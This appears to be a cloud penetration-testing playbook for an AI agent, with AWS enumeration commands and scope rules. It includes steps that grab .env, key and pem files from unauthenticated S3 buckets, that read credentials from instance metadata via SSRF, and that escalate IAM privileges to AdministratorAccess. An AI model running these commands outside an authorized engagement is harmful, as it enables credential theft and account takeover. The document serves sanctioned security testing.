| 1 | ## Cybersecurity Skills (Invoke First) |
| 2 | |
| 3 | Before starting cloud testing, invoke these skills via the Skill tool: |
| 4 | - `cybersecurity-skills:conducting-cloud-penetration-testing` |
| 5 | - `cybersecurity-skills:performing-cloud-penetration-testing-with-pacu` |
| 6 | - `cybersecurity-skills:performing-aws-privilege-escalation-assessment` |
| 7 | - `cybersecurity-skills:auditing-aws-s3-bucket-permissions` |
| 8 | - `cybersecurity-skills:auditing-gcp-iam-permissions` |
| 9 | - `cybersecurity-skills:performing-aws-account-enumeration-with-scout-suite` |
| 10 | |
| 11 | ## Scope Enforcement |
| 12 | Verify cloud account IDs, subscription IDs, or project IDs are listed in scope.txt. |
| 13 | Cloud APIs can affect resources across accounts/regions — confirm authorization explicitly. |
| 14 | Never modify production resources — read-only enumeration first. |
| 15 | |
| 16 | ## AWS Enumeration |
| 17 | |
| 18 | ### Identity & Initial Access |
| 19 | ```bash |
| 20 | # Verify current caller identity |
| 21 | aws sts get-caller-identity 2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/cloud/aws_identity.json |
| 22 | |
| 23 | # List all enabled regions |
| 24 | aws ec2 describe-regions --query 'Regions[].RegionName' --output text 2>&1 |
| 25 | |
| 26 | # Enumerate IAM users |
| 27 | aws iam list-users --query 'Users[*].[UserName,UserId,Arn,CreateDate]' \ |
| 28 | --output table 2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/cloud/aws_users.txt |
| 29 | |
| 30 | # List IAM roles |
| 31 | aws iam list-roles --query 'Roles[*].[RoleName,Arn,AssumeRolePolicyDocument]' \ |
| 32 | --output json 2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/cloud/aws_roles.json |
| 33 | |
| 34 | # List IAM policies (customer-managed) |
| 35 | aws iam list-policies --scope Local \ |
| 36 | --query 'Policies[*].[PolicyName,Arn,AttachmentCount]' \ |
| 37 | --output table 2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/cloud/aws_policies.txt |
| 38 | |
| 39 | # Get all policies attached to a user |
| 40 | aws iam list-attached-user-policies --user-name $USER 2>&1 |
| 41 | aws iam list-user-policies --user-name $USER 2>&1 |

| 44 | --action-names "iam:CreateUser" "iam:AttachRolePolicy" "s3:PutBucketPolicy" \ |
| 45 | --output json 2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/cloud/aws_perms.json |
| 46 | ``` |
| 47 | |
| 48 | ### S3 Bucket Enumeration |
| 49 | ```bash |
| 50 | # List all buckets |
| 51 | aws s3 ls 2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/cloud/aws_s3_buckets.txt |
| 52 | |
| 53 | # Check bucket ACL (public access?) |
| 54 | aws s3api get-bucket-acl --bucket $BUCKET 2>&1 |

| 57 | # List bucket contents |
| 58 | aws s3 ls s3://$BUCKET --recursive 2>&1 | head -200 | \ |
| 59 | tee evidence/$(date +%Y%m%d)/$TARGET/cloud/aws_s3_contents.txt |
| 60 | |
| 61 | # Unauthenticated access (no creds) |
| 62 | aws s3 ls s3://$BUCKET --no-sign-request 2>&1 |
| 63 | |
| 64 | # Download interesting files |
| 65 | aws s3 cp s3://$BUCKET/ evidence/$(date +%Y%m%d)/$TARGET/cloud/s3_loot/ \ |
| 66 | --recursive --exclude "*" --include "*.env" --include "*.conf" \ |
| 67 | --include "*.key" --include "*.pem" --include "*.json" \ |
| 68 | --no-sign-request 2>&1 |
| 69 | |
| 70 | # Check for public buckets across known org patterns |
| 71 | for name in $ORG-backups $ORG-dev $ORG-prod $ORG-logs $ORG-data; do |
| 72 | aws s3 ls s3://$name --no-sign-request 2>&1 && echo "PUBLIC: $name" || true |
| 73 | done |
| 74 | ``` |
| 75 | |
| 76 | ### EC2 & SSRF |
| 77 | ```bash |
| 78 | # Instance metadata (via SSRF on target EC2 or from shell) |
| 79 | # IMDSv1 (no token required) |
| 80 | curl -s http://169.254.169.254/latest/meta-data/ 2>&1 |

| 84 | 2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/cloud/aws_creds_from_metadata.json |

| 99 | export AWS_SESSION_TOKEN=$TOKEN |
| 100 | aws sts get-caller-identity |
| 101 | ``` |
| 102 | |
| 103 | ### AWS IAM Privilege Escalation |
| 104 | ```bash |
| 105 | # Common PrivEsc: attach admin policy to own user |
| 106 | aws iam attach-user-policy \ |
| 107 | --user-name $USER \ |
| 108 | --policy-arn "arn:aws:iam::aws:policy/AdministratorAccess" 2>&1 |
| 109 | |
| 110 | # Create new access key (alternative escalation) |
| 111 | aws iam create-access-key --user-name $USER 2>&1 |
| 112 | |
| 113 | # Assume a role with higher privileges |
| 114 | aws sts assume-role \ |
| 115 | --role-arn "arn:aws:iam::$ACCOUNT_ID:role/$ROLE_NAME" \ |
| 116 | --role-session-name "pen |
